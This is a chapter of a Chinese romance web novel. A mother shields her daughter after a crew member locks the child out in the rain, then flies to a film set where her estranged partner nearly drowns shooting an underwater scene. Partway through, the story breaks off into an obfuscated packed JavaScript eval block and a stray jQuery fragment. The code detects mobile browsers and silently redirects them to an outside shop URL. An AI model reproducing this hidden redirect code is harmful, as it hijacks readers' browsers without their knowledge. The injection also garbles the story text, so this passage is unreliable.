雨水把心心的衣服浇得透湿，软塌塌地贴在身上。宜薇没听清孩子在哭喊什么，伸手一把将她横抱起来，大步踩着木梯往楼上跑。
浴室里，宜薇拿着花洒，用热水将心心上下喷淋了十多分钟。
心心被裹在一块白毛巾里，浑身皮肤被热水激得发红，像只刚褪了毛的小鸡仔。她仰着脸，睫毛上挂着水珠，一双眼哭得又红又肿：“妈妈，你为什么不说话？”
宜薇握着毛巾的手僵在那里，脑子里黏稠成一片。她盯着女儿，脱口而出：“是谁跟你说的那些话？你告诉妈妈，妈妈去教训他。”
她的语速极快，眼神里是从未有过的怒意。心心看着她脸上这副从未见过的神情，又怕又惊，身子往后缩了缩，刚止住的眼泪又断了线地往下掉，张着嘴又开始哭个不停。
宜薇已经是心疲力竭，抱着心心蜷在床上，好不容易把孩子哄得阖上眼。
房间里只剩下一盏昏黄的壁灯。宜薇站在床边，看着女儿在睡梦中还一抽一抽的肩膀，狂乱的心跳一点点冷了下去。
其实不必去查店里的监控，那个人的面容在脑海里像针尖似地挑了一下。
她抚在心心背上的手好半天没再动，心里茫然一片，甚至连下楼调取录像的力气都没了。
楼下突然传来一阵动静，是秦浩他们回来了。
见宜薇和心心都不在楼下，秦浩已经一阵风似地迈着台阶上来，手里提着两个打包的烧烤，油香登时飘满了客栈：“心心怎么这么早就睡了？晚饭还没吃呢，我给你们带了好吃的，快……”
宜薇从昏暗的室内转过身来。
走廊里的暗光照着她毫无血色的脸，秦浩的声音戛然而止。相处这几年，他在单独面对宜薇时总带着一分小心，此刻他把手里的纸袋往回收了收，看了看大床上缩成一团的心心，又看了看宜薇。
“……出什么事了？”秦浩拧起眉，“是不是我们不在客栈，你们被他们欺负了。”
宜薇没开口。
床上的心心听到动静，从被子里探出半个脑袋，带着浓重的鼻音哭喊出来：“秦浩叔叔……我是捡来的吗？楼下的叔叔把我关在外面，我不想淋雨……”
“啪”的一声，秦浩把手里的宵夜狠狠砸在走廊的茶几上。
他拔腿就朝楼下冲，皮鞋把木楼梯踩得震天响：“哪个孙子干的？出来！给小爷死出来！今天让你们见识见识这客栈到底谁做东！敢动我女儿，嫌命长了是不是！”
宜薇抱起赤着脚跟出来的孩子，紧跟着下了楼。
一楼大厅的灯光大亮。
长桌旁坐着的三个摄制人员个个脸色发白。面对秦浩几乎要吃人的目光，负责后期的小伙子往后退了半步，声音低得像蚊子哼：“我……我就是怕这孩子动静太大，影响机器收音，让她把电视开小点。她有点闹，我就凶了两句，谁知道她自己跑出去了……后来外面风大，我顺手把院子栅栏门给栓上了，真不知道她在淋雨……”
“什么叫这孩子？”婷婷跨前一步，指头差点戳到小伙子鼻尖上，“她有名字，叫心心！”
阿欣过去摸了摸心心还没干透的头发，看得出来是洗过澡，心中也猜到了，回头冷冷地剜了那人一眼：“你可真行，下这么大的雨，把这么小的娃锁在院子外面。”
秦浩听了这话已经火冒三丈，冲上去就要揍人，宜薇开口道：“你的那个消息，从谁那里知道的？”
宜薇搂着心心站在楼梯口，清清冷冷的一句话，把大厅里的嘈杂生生压了下去。
大厅里陡然死寂下来。都是成年人，有些话不必明说，也能意会。
后期小伙求助似地看向旁边，嗫嚅着不敢张嘴。反倒是旁边的化妆师阿云低着头，小声道：“是……乔老板交代过我们的。”
宜薇搂着女儿的手臂猝然一紧，随后，又缓缓松开。
这一切，竟然不是顾川的安排。
穿堂风从门缝里漏进来，吹得她后颈发凉。她像是一脚踩进了棉花里，恍恍惚惚的，心口某个地方像被细小的虫子咬了一口，不疼，却泛着密密麻麻的异样。
她觉得哪里好像不对劲，可她说不上来。她只是从未想过，这辈子会有不问任何缘由就怀疑上他的一天。
众人都等着她在说话，宜薇脸色变化着，那双乌沉沉的眸子迸发出一道寒意来。“除了这些，乔意还跟你们说过什么？”
虽然早知道这女人身份不简单，但直呼老板名姓，还是把这三人吓了一跳。
阿云连忙摆手：“没有了，真没有了。”
“你们明天收拾东西回北京，这里的拍摄不用继续了。刚才拍的素材全部导出来发我邮箱，后续的工作我来处理。”宜薇的声音没有一丝起伏，“乔意跟你们说的事，我不希望在外面听到半个字。尤其是等我重回幕前以后，要是有人拿这件事做文章，我第一个找的就是你们仨。”
三个人面面相觑，在砸饭碗的威慑面前，谁也没敢再吭气。
大厅里静下来，只剩下墙上挂钟滴答的声音。
宜薇抱着心心转身往楼上走。走到拐角处时，她忽然想起来，顾川已经有三天没有主动联系过她了。
这是这几个月来，五年后分别又重逢的头一遭。
-
大理入夜后的风带了凉意。
二楼的露台上，藤椅里的手机亮了又暗。宜薇盯着屏幕上“顾川”两个字，指尖悬空了许久，终于按了下去。
电话响到第六声才被接通。听筒里先传过来的是一阵嘈杂的背景音，发电机沉闷的轰鸣、场务用喇叭喊话的破音，还有鼓风机卷起沙尘的呼呼声。
“喂。”
顾川的声音隔着电流传过来，有些低沉，透着丝不容易察觉的沙哑。他此时正坐在监视器后面的折叠椅上，身上还穿着剧组那件厚重的古装戏服，层层叠叠的玄色衣料压得人喘不过气。
看到来电显示的那一刻，他握着手机的手指猛地收紧，原本微蹙的眉头瞬间舒展开，眼底有光亮闪过。
然而，前几天被她那些冷冰冰的话刺中胸口的痛感还在。他抿了抿唇，将到了嘴边的急切生生压了下去，把脊背往椅背上靠了靠。
“有事？”他问，语气平得像一池没有风的死水。
宜薇握着手机的手指紧了紧，大理的夜风吹得她指尖冰凉。她本有满腹的话想说，可听着他这般公事公办的腔调，那些话一时间都卡在了喉咙里。
“你在忙？”她低声问。
“准备大夜戏。”顾川转动着手里的剧本，页脚发出哗哗的声响。他看着不远处正在布光的水池，其实很想问她大理冷不冷，拍摄进度怎么样，可话到嘴边，却只剩下一个单音节的，“嗯。”
剧组那头，副导演的大喇叭又响了起来：“各部门注意，演员就位！顾老师，准备开拍了！”
顾川看了一眼走过来的执行导演，对着电话那头低声说：“开工了。过会儿联系。”
“顾川，我那天——”
宜薇急切地开口，可“联系”两个字音刚落，听筒里便传来了短促而冰冷的盲音。
大理的夜空很干净，繁星满天。宜薇慢慢放下手臂，屏幕已经黑了，映出她有些苍白的脸。客栈院子里的花海在夜色里模糊成一片暗影，她站在露台上，只觉得周遭安静得发慌，心里像是有块地方被生生掏空了，冷风灌进去，空落落的。
手机在掌心里震动了一下。
是一条微信消息，来自乔意：【对不起。心心的事情，是我的疏忽。】
宜薇看着屏幕。屏幕的光照亮了她的眼睛，里面没有愤怒，也没有波澜，只有一层淡淡的倦意。她没有回复，甚至没有点开那个对话框，只是把手机熄了屏，转身走回了房间。
房间里的行李箱已经收拾好，端正地立在门边。
第二日清晨，朝阳刚破开苍山的云雾，一辆黑色的网约车已经停在了客栈门口。宜薇拉着行李箱出门，上了车，直奔机场。
而此时，千里之外的横店影视基地里，顾川刚从临时搭建的休息棚里走出来。
清晨的空气里带着浓重的湿气。乔意低着头站在花木繁茂的布景树后面，脸色发白。
顾川站在他面前，身上的戏服还没换，脸色比深秋的霜还要冷。
“我之前跟你交代过，这事只有你们知道，别再对外发散。”顾川的声音不高，却带着极重的压迫感，“你明知道心心对她意味着什么。”
“……是。”乔意嗓音哑然。
“以后她的拍摄安排，交给思年。你不用再跟了。”
顾川没再看他一眼，转头对陈爽说：“车钥匙给我，今天收工后的行程全部推掉。给我订最近一班去大理的机票。”
他一整个上午都在给宜薇发消息、打电话。
【昨天剧组催得急，不是故意挂你电话。】
【大理那边降温了，注意加衣服。】
可所有的消息都石沉大海，电话也始终处于“无法接通”的状态。顾川坐在休息室里，手里的剧本半天没有翻动一页。他有些坐立不安，那种失去掌控的焦虑感在胸口抓挠。她是不是真的生气了？还是因为心心的事情正躲在哪个角落里哭？
他定不下心，只能催着导演尽快开拍下午的那场水下戏，想着只要拍完，他就能立刻飞去大理，哪怕去守在花海客栈门口，也得见她一面。
但他不知道的是，此时的宜薇，正坐在万米高空的商务舱里，飞机已经穿过了重重云层。
下午两点，横店影视城第三摄影棚。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537610|202723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
易思年在影视城外的咖啡厅见到宜薇时，着实愣了一下。宜薇穿着一件黑色长裙，头发随意地挽在脑后，手里拉着行李箱，风尘仆仆。
“你真打算去探班？”易思年把一张盖了公章的家属通行证递过去，“顾川今天下午全是水下戏。你别惊动他，毕竟水下戏危险。”
宜薇接过通行证，指尖在硬塑料边缘摩挲了一下：“谢谢。”
摄影棚里光线昏暗，巨大的水槽架设在中央，四周全是一圈圈粗壮的电缆和绿色的幕布。水槽里的水泛着幽绿的光，几名穿着潜水服的水下摄影师正背着氧气瓶在做准备。
宜薇把行李箱托付给门卫，低着头，顺着阴影处悄悄走进了棚内。
水槽边，顾川已经换上了单薄的白色里衣，腰间系着威亚绳。他的脸色有些苍白，因为他一直都有轻微的空间幽闭症。
“顾老师，水温稍微有点低，你忍一下。这场戏要你在水下闭气一分钟，表现出那种绝望沉沦的感觉。”导演在岸上拿着对讲机喊。
顾川点了点头，比了个OK的手势，转过身，顺着梯子一步步走进了水里。冰冷的水漫过他的胸口、脖颈，最后吞没了那张英挺的脸。
宜薇站在距离水槽十几米开外的机器后面。棚里很安静，只有水泵抽水的嗡嗡声。她看着水面下那个模糊的白影，心像是被一根细线提了起来，悬在半空。
外间的光线穿过水面，散成无数道斑驳的金线。顾川睁开眼，水流挤压着他的耳膜，世界变得无比安静。他按照导演的要求，任由身体缓缓向水底沉去，黑色的长发在水里如海藻般散开。
胸腔里的空气在一点点减少，那种窒息感伴随着强烈的疲惫排山倒海般涌来。
在这一片死寂的幽暗中，他眼前面容交错，最后全变成了宜薇那张雪白的脸。他突然觉得自己有些可笑，明明那么在乎，昨天装什么清高，摆什么脸色。
就在这时，一阵隐隐约约的骚动似乎隔着水面传了进来。
“……顾川……”
那是很轻的一声，像是幻觉，混在水流的咕噜声里，却精准地撞进了他的耳朵。
顾川的眼睛蓦地睁大。那声音太熟悉了，熟悉到他甚至觉得是自己因为思念过度而产生了濒死的幻觉。他下意识地转头去寻找声音的来源，一张嘴，原本憋在胸口的一口气瞬间散了，冰冷的水顺着口鼻毫无防备地呛了进去。
水面上瞬间炸开了锅。
“不好！呛水了！快救人！”
两名水下摄影师反应极快，扔下机器就朝顾川游了过去。岸上的场务和医护人员也一拥而上。
顾川被拉上岸，剧烈咳嗽着，在喘气的间隙努力找回呼吸，大口大口的清水从他嘴里吐出来。他浑身湿透，漆黑的眉眼被水汽蒙了一层，白色的里衣紧紧贴在身上，整个人剧烈地颤抖。
陈爽赶来，拿大毛巾裹住他，周围围了一圈人。
“没事吧顾老师？要不要叫救护车？”导演急得满头大汗。
顾川摆了摆手，一边咳着，一边有些失神地抬起头，视线在嘈杂的人群里穿梭。
然后，他看见了她。
宜薇正站在人群最后方。她纤细的身影在满是泥水和机械的摄影棚里显得有些突兀，她手紧紧攥着衣角，脸色比池子里的顾川还要白，一双眼里满是惊惶与痛楚，正一瞬不瞬地盯着他。
不是幻觉。
顾川推开助理扶着他的手，顾不得身上还在往下淌水，撑着地面站了起来。他的步履有些虚浮，每走一步，湿透的衣服就在地上拖出一道长长的水痕。
围着的人群自动散开一条道。
顾川走到宜薇面前停住。他低头看着她，因为剧烈咳嗽，他的眼眶和鼻尖都泛着红，水珠顺着他的下巴滴落在宜薇的鞋尖上。
宜薇仰头看着他，嘴唇动了动，声音里带着明显的颤音：“你没事就好……”
顾川看着她这副要哭出来的样子，连日来的烦闷、焦虑、还有那些故意伪装出来的冷淡，在一瞬间消散得无影无踪。
他扯了扯嘴角，露出一抹极其苍白却又带着几分释然的笑。
“还以为你真的生我气了。”
他声音沙哑得厉害，一边说着，一边抬起湿漉漉的手，似乎想去碰她的脸，却又怕自己身上的水弄脏了她洁白无瑕的脸，最后只是颓然地垂在身侧。
他看着宜薇的眼睛，每一个字都说得很轻，却砸得极重：
“我刚才还想着，要是你还不回我消息，我就沉在那算了。”
摄影棚里的灯光惨白，照着满地的水渍。宜薇眼里的泪终于落了下来，洇湿了风衣的衣领。顾川再也忍不住，跨前一步，用那条宽大且潮湿的毛巾，将她温暖馨香的身体，死死地扣进了自己冰冷的怀里。